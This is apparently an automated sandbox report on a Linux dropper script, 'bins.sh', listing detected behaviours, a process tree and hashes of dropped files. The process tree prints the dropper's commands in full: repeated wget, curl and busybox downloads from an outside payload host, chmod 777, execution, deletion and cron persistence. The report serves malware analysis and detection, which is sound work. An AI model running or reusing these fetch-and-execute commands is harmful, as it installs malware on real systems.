Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    20/11/2024, 07:56

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241120-jsn1tsvbkp
  • SHA256 839adacbcc779352d163b6ef7b3687fe0cf6c82cb0e73aaf52c25135cf98be35
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1635) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 25 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • File and Directory Permissions Modification
          PID:731
        • /tmp/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          ./9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • Executes dropped EXE
          PID:732
        • /bin/rm
          rm 9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
            PID:734
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:735
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:736
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:738
          • /bin/chmod
            chmod 777 yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            2⤵
            • File and Directory Permissions Modification
            PID:739
          • /tmp/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            ./yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            2⤵
            • Executes dropped EXE
            PID:740
          • /bin/rm
            rm yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            2⤵
              PID:742
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:743
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:744
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:746
            • /bin/chmod
              chmod 777 CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
              2⤵
              • File and Directory Permissions Modification
              PID:747
            • /tmp/CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
              ./CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
              2⤵
              • Executes dropped EXE
              PID:748
            • /bin/rm
              rm CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
              2⤵
                PID:750
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:751
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:752
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:757
              • /bin/chmod
                chmod 777 uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF
                2⤵
                • File and Directory Permissions Modification
                PID:760
              • /tmp/uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF
                ./uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF
                2⤵
                • Executes dropped EXE
                PID:761
              • /bin/rm
                rm uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF
                2⤵
                  PID:764
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:765
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:769
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:775
                • /bin/chmod
                  chmod 777 IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8
                  2⤵
                  • File and Directory Permissions Modification
                  PID:781
                • /tmp/IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8
                  ./IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8
                  2⤵
                  • Executes dropped EXE
                  PID:782
                • /bin/rm
                  rm IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8
                  2⤵
                    PID:785
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:786
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:794
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:800
                  • /bin/chmod
                    chmod 777 jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ
                    2⤵
                    • File and Directory Permissions Modification
                    PID:802
                  • /tmp/jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ
                    ./jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:804
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:806
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:807
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:811
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:812
                        • /bin/rm
                          rm jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ
                          2⤵
                            PID:814
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/qTtADy7qXEy8AZSejNSjSLaQxvsEFWqS6l
                            2⤵
                            • System Network Configuration Discovery
                            PID:818
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/qTtADy7qXEy8AZSejNSjSLaQxvsEFWqS6l
                            2⤵
                            • System Network Configuration Discovery
                            PID:900
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/qTtADy7qXEy8AZSejNSjSLaQxvsEFWqS6l
                            2⤵
                            • System Network Configuration Discovery
                            PID:907
                          • /bin/chmod
                            chmod 777 qTtADy7qXEy8AZSejNSjSLaQxvsEFWqS6l
                            2⤵
                            • File and Directory Permissions Modification
                            PID:910
                          • /tmp/qTtADy7qXEy8AZSejNSjSLaQxvsEFWqS6l
                            ./qTtADy7qXEy8AZSejNSjSLaQxvsEFWqS6l
                            2⤵
                              PID:911
                            • /bin/rm
                              rm qTtADy7qXEy8AZSejNSjSLaQxvsEFWqS6l
                              2⤵
                                PID:912
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/CMiRxLfPT02jcsPMxzSZWjFGq7ghemeBBB
                                2⤵
                                • System Network Configuration Discovery
                                PID:913
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/CMiRxLfPT02jcsPMxzSZWjFGq7ghemeBBB
                                2⤵
                                • System Network Configuration Discovery
                                PID:915
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/CMiRxLfPT02jcsPMxzSZWjFGq7ghemeBBB
                                2⤵
                                • System Network Configuration Discovery
                                PID:917
                              • /bin/chmod
                                chmod 777 CMiRxLfPT02jcsPMxzSZWjFGq7ghemeBBB
                                2⤵
                                • File and Directory Permissions Modification
                                PID:918
                              • /tmp/CMiRxLfPT02jcsPMxzSZWjFGq7ghemeBBB
                                ./CMiRxLfPT02jcsPMxzSZWjFGq7ghemeBBB
                                2⤵
                                  PID:919
                                • /bin/rm
                                  rm CMiRxLfPT02jcsPMxzSZWjFGq7ghemeBBB
                                  2⤵
                                    PID:921
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/rTVygq67bdKN5FrIylBdjC3WphUPQ5jBgA
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:923

                                Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO

                                      • Path /tmp/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
                                      • Size 99KB
                                      • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                      • MD5 SHA1 SHA512 SSDEEP

                                      CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV

                                      • Path /tmp/CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
                                      • Size 111KB
                                      • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                      • MD5 SHA1 SHA512 SSDEEP

                                      IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8

                                      • Path /tmp/IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8
                                      • Size 122KB
                                      • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                      • MD5 SHA1 SHA512 SSDEEP

                                      jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ

                                      • Path /tmp/jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ
                                      • Size 151KB
                                      • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                      • MD5 SHA1 SHA512 SSDEEP

                                      uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF

                                      • Path /tmp/uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF
                                      • Size 112KB
                                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                      • MD5 SHA1 SHA512 SSDEEP

                                      yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J

                                      • Path /tmp/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
                                      • Size 119KB
                                      • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                      • MD5 SHA1 SHA512 SSDEEP

                                      tmp.dhM58Y

                                      • Path /var/spool/cron/crontabs/tmp.dhM58Y
                                      • Size 210B
                                      • SHA256 ed110f3a21495c2f1757a38b06a901bb2bb02c5f4e7963940608f897d1ca012c
                                      • MD5 SHA1 SHA512